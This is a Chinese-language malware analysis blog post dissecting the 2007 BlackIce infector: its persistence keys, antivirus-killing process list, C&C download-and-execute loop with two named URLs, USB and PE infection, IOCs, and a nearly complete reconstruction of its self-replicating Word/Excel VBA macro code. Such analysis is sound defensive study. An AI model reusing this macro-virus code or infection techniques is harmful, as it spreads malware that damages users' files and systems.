BlackIce病毒分析

news2024/11/19 4:45:01

概述

blackice是一个古老的感染型病毒,可感染系统中exe、doc和xls文件,通过USB设备和网络驱动器来传播,会向C&C下载pe执行,会关闭常用的杀软进程。下面找了一个样本,这个样本的代码结构清晰,用IDA pro就能分析明白,是学习感染型病毒分析非常好的素材。

样本的基本信息

Verified: Unsigned
Link date: 18:01 2007/3/3
MachineType: 32-bit
MD5: 50F559EF10B0291332D387AC9149878E

2007年的样本,xp时代的产物

这个样本的icon是xp系统的文件夹图标,用于伪装,诱导用户点击。

分析过程

主线程

样本的结构比较简单,首先创建了一个名为blackicemutex的互斥量,防止双开

然后判断当前系统的版本,不是32位系统的话,直接退出

获取当前系统的MAC地址、C盘序列号和主机名

把自己拷贝到系统目录下,保存为%windir%\system32\blackice.exe和%windir%system32\kernel.exe(注意和kernel32.dll不一样)

注入explorer.exe或taskmgr.exe进程,当病毒进程退出后,重新启动

之后创建了6个线程

  • 线程1 在注册表中创建开机启动项
  • 线程2 向C&C上传主机信息,下载文件执行
  • 线程3 关闭常见的杀软进程
  • 线程4 感染word和excel的模板文件
  • 线程5 检测USB设备的插入,感染USB设备的doc、xls和exe文件
  • 线程6 感染固定驱动器、网络资源和H盘的doc、xls和exe文件

下面我们分析一下几点重点函数

CopySelfToSysDir_404CB2

把自身副本拷贝到系统目录下,保存为C:\windows\system32\blackice.exe和C:\windows\system32\kernel.dll

将C:\windows\system32\blackice.exe的创建时间和最后修改时间设置为2002.1.12,并隐藏该文件

InjectProcess_404384

该函数是用于注入系统进程,当病毒进程退出后,重新启动,用于自我保护

会注入资源管理器或进程管理器进程,在目标进程空间分配内存,写入shellcode和构造好的参数,然后调用CreateRemoteThread执行shellcode

img

shellcode逻辑也非常简单

使用WaitForSingleObject等待病毒进程结束,若%windir%\system32\blackice.exe不存在,将%windir%\system32\kernel.dll拷贝成%windir%\system32\blackice.exe,调用WinExec执行

线程1 SetAutorun_404A71

这个进程是一个死循环

首先在注册表创建了开机启动项

  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run=%windir%\system32\blackice.exe
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell=%windir%\system32\blackice.exe

持续检测%windir%\system32\blackice.exe和%windir%\system32\kernel.dll这两个文件是否存在,不存在的话将自身拷贝过去

持续检测注入系统进程的远程线程的句柄,若该线程已经退出,再重新注入

线程2 DownloadAndExecFile_403D93

首先从下面两个链接下载文件,保存为C:\windows\system32\blackice.ini,从中提取出control节的url字段然后删除文件

http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt

构造一个url为

control_url/?mac=xxx&serial=xxx&hostname=xxx&version=2.1&downflag=1

这是一个死循环:

删除C:\windows\system32\blackice.ini

等待10分钟

向后台提交当前主机的MAC地址、C盘序列号、主机名,下载一个文件,保存为C:\windows\system32\blackice.ini

若下载失败,2个小时后,再试

从blackice.ini文件中读取url节中的string值,删除ini文件

从这个url_string中下载文件保存在目录C:\windows\system32\下,调用WinExec执行

线程3 KillAv_4051AC

这个线程用来关闭常用的杀软进程

找到模块名中含有下列关键字的进程,将其关闭

NAVAPW32
NAVAPSVC
NMAIN
NAVW32
KVFW
KAVSVCUI
KAVPFW
KAV32
KVXP
KVSRVXP
KVMONXP
KVWSC
KAVSVC
KWATCHUI
RAVMOND
RAVMON
RAVTIMER
RISING
RAV.EXE
IPARMOR
TROJANHUNTER
THGUARD
PFW
EGHOST
ANYVIEW
KASPERSKY
360SAFE

线程4 InfectWordAndExcel_403105

该线程主要用来感染word 和 excel的模板文件

首先调用com接口,获取了office的版本,然后修改注册表,修改word和excel的安全级别

设置如下注册表项

HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM=1

使用函数ConstructVABcode_402055构造恶意的宏代码,这个函数第二个参数为1表示word,为2表示excel,第3个参数为1表示模板文件,为2表示普通文档

将自身的pe采用类base64的加密算法加密后存储在宏代码中

构造的宏代码主要的函数功能如下

接者使用构造好vba代码 感染 %appdata%\Microsoft\Excel\XLSTART\book1.xls

还有word模板文件 %appdata%\Microsoft\Templates\Normal.dot

线程5 InfectUSB_404999

这个线程的主要功能是 检测USB设备的插入,感染USB设备

创建了一个名为watchusb的空窗口

窗口函数 ,检测Msg = WM_DEVICECHANGE 且wParam = DBT_DEVICEARRIVAL的消息,处理USB设备插入消息,创建一个线程感染可移动磁盘

将自身拷贝到可移动磁盘根目录,保存为X:\blackice.exe,并隐藏

在可移动磁盘的根目录,创建一个隐藏的AUTORUN.INF文件,在autorun节的open变量设为X:\blackice.exe

遍历可移动磁盘下所有文件,跳过名为winnt或windows的目录,感染其中的.doc .xls .exe文件,删除.gho文件

感染pe的过程也比较简单

把自身添加到目标pe的资源节中,资源类型为0x1f45,名称为0x1e79

在被感染的pe文件中添加一个名为blackice 的节

在新的节中写入shellcode,这段代码在病毒母体中的va为0x405664,大小为0x5C9

将PE的AddressOfEntryPoint的定位这个节的0x33F处,在当前pe中的va为0x4059a3

分析0x4059a3处的代码

首先检索kernel32.dll的基址,从kernel32.dll的导出表中找到GetProcAddress的地址,然后调用GetProcAddress获取下面这些API的地址

GetTempPathA
GetTempFileNameA
GetModuleHandleA
FindResourceA
LoadResource
SizeofResource
CreateFileA
WriteFile
CloseHandle
WinExec

使用上面这些API,取出资源节的病毒母体(类型为1E79h,名称为1F45h),保存为%temp%\bk_xxx,调用WinExec执行

最后跳转到原来PE的AddressOfEntryPoint去执行

线程6 InfectDrives_403771

该线程主要功能为感染固定驱动器、网络驱动器和H盘

若当天不是星期二、星期四、星期六的话,退出

获取系统中所有的盘符,找到固定驱动器,遍历文件和目录(跳过winnt和windows目录),感染其中的.xls .doc和.exe,遍历深度为3层

遍历系统所有可用的网络资源,感染网络驱动器(跳过winnt和windows目录)中的其中的.xls .doc和.exe,遍历深度为4层

感染H盘,遍历所有文件和目录,跳过winnt和windows目录,感染其中的.xls .doc和.exe

IOC

PE特征
MD5为50F559EF10B0291332D387AC9149878E
图标为文件夹图标

文件
%windir%\system32\blackice.exe
%windir%\system32\kernel.exe
%windir%\system32\blackice.ini
%appdata%\Microsoft\Excel\XLSTART\book1.xls
X:\AUTORUN.INF
X:\blackice.exe

注册表
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run=%windir%\system32\blackice.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell=%windir%\system32\blackice.exe
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level=1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM=1

互斥量
blackicemutex

进程
会注入explorer.exe和taskmgr.exe
创建名为watchusb的空窗口

网络 
会访问下面两个url
http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt


被感染的PE特征
被感染的PE文件会增加一个名为blackice的节,资源节中多了一项,资源类型为0x1f45 名称为0x1e79

vba代码

最后学习一下blackice的vba代码,功能比较简单见注释

'<!!blackice>
Private Const base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long,ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long

' 解密blackice病毒母体,保存为临时文件,运行
Private Sub runblackice()
	on error resume next
	filestring="512字节的文件内容"
	filestring=filestring+"512字节的文件内容"
	filestring=filestring+"512字节的文件内容"
	filestring=filestring+"512字节的文件内容"
	'省略部分
	Dim strTempPath As String * 260
	Dim strTempFileName As String * 260
	Dim ret, hFile, NumberofBytesWritten As Long
	Dim W1, W2, W3, W4 As Integer
	Dim n As Long
	Dim buffer As Byte
	ret = GetTempPath(260, strTempPath)
	ret = GetTempFileName(Left(strTempPath, ret), "bk_", 0, strTempFileName)
	hFile = CreateFile(strTempFileName, &H40000000, 0, 0, 2, 0, 0)
	If hFile = -1 Then
		Exit Sub
	End If
	For n = 1 To Len(filestring) Step 4 '对文件进行解密
		If Len(Mid(filestring, n, 1)) = 0 Then
			W1 = -1
		Else
			W1 = InStr(base64, Mid(filestring, n, 1)) - 1
		End If
		If Len(Mid(filestring, n + 1, 1)) = 0 Then
			W2 = -1
		Else
			W2 = InStr(base64, Mid(filestring, n + 1, 1)) - 1
		End If
		If Len(Mid(filestring, n + 2, 1)) = 0 Then
			W3 = -1
		Else
			W3 = InStr(base64, Mid(filestring, n + 2, 1)) - 1
		End If
		If Len(Mid(filestring, n + 3, 1)) = 0 Then
			W4 = -1
		Else
			W4 = InStr(base64, Mid(filestring, n + 3, 1)) - 1
		End If
		
		If W2 >= 0 Then
			buffer = ((W1 * 4 + Int(W2 / 16)) And 255)
			ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
		End If
		If W3 >= 0 Then
			buffer = ((W2 * 16 + Int(W3 / 4)) And 255)
			ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
		End If
		If W4 >= 0 Then
			buffer = ((W3 * 64 + W4) And 255)
			ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
		End If
	Next
	CloseHandle (hFile)
	Shell strTempFileName	
End Sub

'if a2=1 感染.doc文件,依次写入runblackice infectdocument infectnormal document_open 4个函数
Private Sub infectdocument()
	on error resume next
	Set tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemodule 
	Set dcodemodule = ActiveDocument.VBProject.vbcomponents(1).codemodule '获取vba代码
	If dcodemodule.Lines(1, 1) <> "'<!!blackice>" Then 'vba代码的第一行不为<!!blackice>,说明没有被感染
		ret = dcodemodule.insertlines(1, "end sub")
		ret = dcodemodule.insertlines(1, "infectnormal")
		ret = dcodemodule.insertlines(1, "runblackice")
		ret = dcodemodule.insertlines(1, "private sub document_open()") '写入document_open
		startline = tcodemodule.ProcStartLine("infectnormal", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectnormal", vbext_pk_Proc)
		ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) '写入infectnormal过程
		startline = tcodemodule.ProcStartLine("infectdocument", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectdocument", vbext_pk_Proc)
		ret = dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) '写入infectdocument过程
		nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1
		ret = dcodemodule.insertlines(1, tcodemodule.Lines(1, nlines)) '写入runblackice过程和前面的部分
	End If
End Sub

'if a2=1 感染 normal文件 依次写入 runblackice infectdocument infectnormal document_new document_open
Private Sub infectnormal()
	on error resume next
	Set ncodemodule = NormalTemplate.VBProject.vbcomponents(1).codemodule
	If ncodemodule.Lines(1, 1) <> "'<!!blackice>" Then
		Set tcodemodule = ThisDocument.VBProject.vbcomponents(1).codemodule
		ret = ncodemodule.insertlines(1, "end sub")
		ret = ncodemodule.insertlines(1, "infectdocument")
		ret = ncodemodule.insertlines(1, "private sub document_open()")
		ret = ncodemodule.insertlines(1, "end sub")
		ret = ncodemodule.insertlines(1, "infectdocument")
		ret = ncodemodule.insertlines(1, "private sub document_new()")
		startline = tcodemodule.ProcStartLine("infectnormal", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectnormal", vbext_pk_Proc)
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
		startline = tcodemodule.ProcStartLine("infectdocument", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectdocument", vbext_pk_Proc)
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
		nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))
		NormalTemplate.Save
	End If
End Sub

'if a2=1 a3=1 表示当前打开是normal文件,当新的doc文件,创建时感染新文件
Private Sub document_new()
	infectdocument
End Sub

'if a2=1 a3=1 表示当前打开是模板文件,当doc文件打开时,感染文件
Private Sub document_open()
	infectdocument
End Sub

'if a2=1 a3=2 表示当前打开的是doc文件,调用runblackice执行自身,调用infectnormal感染模板文件
Private Sub document_open()
	runblackice
	infectnormal
End Sub

'if a2=2 感染excel文件 依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_open
Private Sub infectworkbook()
	on error resume next
	Set tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemodule
	For Each wb In Workbooks
		Set wbcodemodule = wb.VBProject.vbcomponents(1).codemodule
		If wbcodemodule.Lines(1, 1) <> "'<!!blackice>" Then '未感染的话,写入宏代码
			ret = wbcodemodule.insertlines(1, "end sub")
			ret = wbcodemodule.insertlines(1, "infecttemplate")
			ret = wbcodemodule.insertlines(1, "infectxlstart")
			ret = wbcodemodule.insertlines(1, "runblackice")
			ret = wbcodemodule.insertlines(1, "private sub workbook_open()")
			startline = tcodemodule.ProcStartLine("infecttemplate", vbext_pk_Proc)
			nlines = tcodemodule.ProcCountLines("infecttemplate", vbext_pk_Proc)
			ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
			startline = tcodemodule.ProcStartLine("infectxlstart", vbext_pk_Proc)
			nlines = tcodemodule.ProcCountLines("infectxlstart", vbext_pk_Proc)
			ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
			startline = tcodemodule.ProcStartLine("infectworkbook", vbext_pk_Proc)
			nlines = tcodemodule.ProcCountLines("infectworkbook", vbext_pk_Proc)
			ret = wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
			nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1
			ret = wbcodemodule.insertlines(1, tcodemodule.Lines(1, nlines))
		End If	
	Next
End Sub

'if a2=2
Private Sub infectxlstart()
	on error resume next
	'若不存在文件 Microsoft\Excel\XLSTART\book1.xls
	'依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_deactivate
	If UCase(Dir(Application.StartupPath + "\book1.xls")) <> UCase("book1.xls") Then 
		Set tmpbook = Workbooks.Add
		Set ncodemodule = tmpbook.VBProject.vbcomponents(1).codemodule
		Set tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemodule
		ret = ncodemodule.insertlines(1, "end sub")
		ret = ncodemodule.insertlines(1, "infectworkbook")
		ret = ncodemodule.insertlines(1, "private sub workbook_deactivate()")
		startline = tcodemodule.ProcStartLine("infecttemplate", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infecttemplate", vbext_pk_Proc)
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
		startline = tcodemodule.ProcStartLine("infectxlstart", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectxlstart", vbext_pk_Proc)
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
		startline = tcodemodule.ProcStartLine("infectworkbook", vbext_pk_Proc)
		nlines = tcodemodule.ProcCountLines("infectworkbook", vbext_pk_Proc)
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))
		nlines = tcodemodule.ProcCountLines("runblackice", vbext_pk_Proc) + tcodemodule.ProcStartLine("runblackice", vbext_pk_Proc) - 1
		ret = ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))
		tmpbook.SaveAs (Application.StartupPath + "\book1.xls")
		tmpbook.Close
	End If
End Sub

'if a2=2 感染book.xlt
Private Sub infecttemplate()
	on error resume next
	If UCase(Dir(Application.StartupPath + "\book.xlt")) <> UCase("book.xlt") Then
		Set tmpbook = Workbooks.Add
		Set acodemodule = tmpbook.VBProject.vbcomponents(1).codemodule
		Set tcodemodule = ThisWorkbook.VBProject.vbcomponents(1).codemodule
		ret = acodemodule.insertlines(1, tcodemodule.Lines(1, tcodemodule.CountOfLines))
		ret = tmpbook.SaveAs(Application.StartupPath + "\book.xlt", xlTemplate)
		tmpbook.Close
	End If
End Sub

'if a2=2 a3=1  图表、工作表或工作簿被停用时发生此事件
Private Sub workbook_deactivate()
	infectworkbook
End Sub

'if a2=2 a3=2 打开工作簿时 依次调用runblackice infectxlstart infecttemplate
Private Sub workbook_open()
	runblackice
	infectxlstart
	infecttemplate
End Sub

参考资料

  • Blackice.C病毒分析
  • UpdateResource系列函数用法
  • 获取kernel32.dll基址

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/585331.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

客服配置-shopro

客服配置 注意事项 shopro客服系统 采用 workerman 的 gateway-worker 作为服务基础&#xff0c;请先安装 gateway-worker 扩展包shopro商城 已不再支持 workerman 在线客服插件 安装部署 安装扩展包 composer require workerman/gateway-worker:~3.0 删除禁用函数(如有未列…

Postman中加url环境变量和token全局变量

环境变量引用 语法&#xff1a;{{变量名}} 环境变量分类 1. 全局变量&#xff1a;全局有效&#xff0c;在Postman中的任何集合中都可以使用该变量&#xff0c;作用域最大。 2. 环境变量&#xff1a;要申明环境变量&#xff0c;先要创建环境&#xff0c;然后在该环境中创建变…

KPI考核对企业能起到什么作用?公司该如何建立标准化

什么是KPI考核 KPI考核是指对企业或组织的关键绩效指标进行量化的评估和监控&#xff0c;以了解其业务目标的实现情况。 KPI&#xff08;Key Performance Indicators&#xff09;是指关键绩效指标&#xff0c;是衡量企业或组织成功的基本指标。对KPI进行考核可以帮助企业或组织…

破解极域(4):万能密码法(可以获取到原密码)

破解极域&#xff08;4&#xff09;&#xff1a;万能密码法 1.思路2.实现2.1 获得密码2.2 解除控制2.3 特别注意 3.视频展示 今天来分享下破解极域的第4种方法——万能密码法 1.思路 首先&#xff0c;我们要知道的是&#xff0c;极域这个东西它有一个万能密码&#xff0c;万能…

网络安全+自学笔记

学前感言: 1.这是一条坚持的道路,三分钟的热情可以放弃往下看了.2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发.3.有时多 google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答.4.遇到实在搞不懂的,可以先放放,以后再来解决. 基…

[GUET-CTF2019]number_game[数独]

目录 题目 学到的知识点&#xff1a; 题目 在buu上看到了一道数独题&#xff0c;没见过&#xff0c;记录一下 下载附件&#xff0c;查壳&#xff0c;无壳&#xff0c;在IDA中打开&#xff0c;直接找到主函数 unsigned __int64 __fastcall main(int a1, char **a2, char **a3…

您的监控策略是否可扩展?

家公司都在努力更好地了解其运营效率&#xff0c;但他们都遇到了同样的问题&#xff1a;规模。那么&#xff0c;可扩展的监控策略是什么样的&#xff1f;您如何防范可观察性中最重要的问题&#xff1f; 什么是可扩展监控策略&#xff1f; 我们将从确定受规模影响最大的两件事…

生态系统NPP及碳源、碳汇模拟、土地利用变化、未来气候变化、空间动态模拟实践技术应用

由于全球变暖、大气中温室气体浓度逐年增加等问题的出现&#xff0c;“双碳”行动特别是碳中和已经在世界范围形成广泛影响。碳中和可以从碳排放&#xff08;碳源&#xff09;和碳固定&#xff08;碳汇&#xff09;这两个侧面来理解。陆地生态系统在全球碳循环过程中有着重要作…

SpringBootWeb---分层解耦

3. 分层解耦 3.1 三层架构 3.1.1 介绍 在我们进行程序设计以及程序开发时&#xff0c;尽可能让每一个接口、类、方法的职责更单一些&#xff08;单一职责原则&#xff09;。 单一职责原则&#xff1a;一个类或一个方法&#xff0c;就只做一件事情&#xff0c;只管一块功能。…

前端网络、JavaScript优化以及开发小技巧

一、网络优化 YSlow有23条规则&#xff0c;中文可以参考这里。这几十条规则最主要是在做消除或减少不必要的网络延迟&#xff0c;将需要传输的数据压缩至最少。 1&#xff09;合并压缩CSS、JavaScript、图片&#xff0c;静态资源CDN缓存 通过构建工具Gulp&#xff0c;可以在…

PDPS教程:机器人工作站导出为JT格式文件操作方法

目录 功能简介 功能注意事项 导出JT格式文件操作 导出JT格式文件查看 功能简介 PDPS软件不仅能够从外部导入JT格式的模型文件&#xff0c;还能够将创建好的机器人工作站/生产线导出为JT格式的模型文件。这个能够导出JT格式文件的功能就是“Export JT”命令。 使用“Expor…

零尽其用,尾随不落——探究力扣题目“移除字符串中的尾随零”的解题思路

本篇博客会讲解力扣“2710. 移除字符串中的尾随零”的解题思路&#xff0c;这是题目链接。 先来审题&#xff1a; 以下是示例&#xff1a; 以下是提示&#xff1a; 本题的思路是&#xff1a; 先遍历字符串&#xff0c;找到字符串末尾的\0。从\0开始&#xff0c;向前遍历&a…

如何写一篇让人挑不出毛病的产品需求文档?

需求”这个词是产品经理工作中的常客&#xff0c;产品需求文档也贯穿于整个产品经理的日常工作中&#xff0c;本周小编将通过什么是产品需求文档&#xff0c;产品需求文档的作用、如何写好产品需求文档等方面分享如何写出一篇让你挑不出毛病的PRD&#xff0c;让需求文档助力产品…

30分钟开发微信小程序并部署

30分钟开发微信小程序并部署 首先&#xff0c;今天我们会使用到腾讯为我们提供的云平台来协助我们小程序的开发和部署。 环境准备&#xff1a; 微信开发者账号&#xff08;自己在微信公众号平台注册一个账号&#xff09;&#xff1a;https://mp.weixin.qq.com/&#xff0c;同时…

arp欺骗(http)与dns欺骗

Arp欺骗 win7&#xff1a; ip:192.168.127.147 mac:00-0C-29-4F-1C-36 kali: ip:192.168.127.133 mac:00:0c:29:4c:4d:92 arp -a 获取网关 网关&#xff1a;ip&#xff1a;192.168.127.0 mac&#xff1a;00-0c-29-4c-4d-92 fping -g 192.168.127.0/24 192.168.127.1…

在华为眼里,ICT行业今年还有啥搞头?

大家好&#xff0c;我是老杨。 不知道你们有没有研究年报的习惯&#xff0c;一些超大厂是会每年发布年报的&#xff0c;而从年报里&#xff0c;你能看出很多行业趋势出来。 以最热门的华为举例&#xff1a; 每年&#xff0c;华为都会发布全年财报&#xff0c;对自己今年的整…

什么是低代码?国内常见的低代码平台有哪些?

一、什么是低代码开发&#xff1f; 低代码也称之为无代码或是 aPaas。要想了解低代码是什么&#xff0c;我们先来讨论低代码本质&#xff1f; 它是一种可视化软件开发方法&#xff0c;通过最少的编码更快地交付应用程序。 图形用户界面和拖放功能使开发过程的各个方面自动化…

【大数据之Hive】三、Linux下安装MySQL8.0.33

1 安装MySQL &#xff08;1&#xff09;解压MySQL安装包: tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar -C /opt/module/mysql&#xff08;2&#xff09;卸载系统自带的mariadb&#xff1a; sudo rpm -qa | grep mariadb | xargs sudorpm -e --nodeps&#xff08;3&am…

快速上手 SpringBoot 单元测试

✏️作者&#xff1a;银河罐头 &#x1f4cb;系列专栏&#xff1a;JavaEE &#x1f332;“种一棵树最好的时间是十年前&#xff0c;其次是现在” 目录 什么是单元测试&#xff1f;单元测试有哪些好处SpringBoot 单元测试使用单元测试的实现步骤生成单元测试类添加单元测试代码 …

rsync+inotfy实时同步

rsyncinotfy实时同步 目录 一、服务器端 二、客户端 一、服务器端 1、安装网站服务&#xff0c;启动&#xff0c;但是不写首页文件 yum -y install httpd 2、安装raync服务 yum -y install rsync 3、修改主配置文件 &#xff08;/etc/rsyncd.conf&#xff09; uid root gi…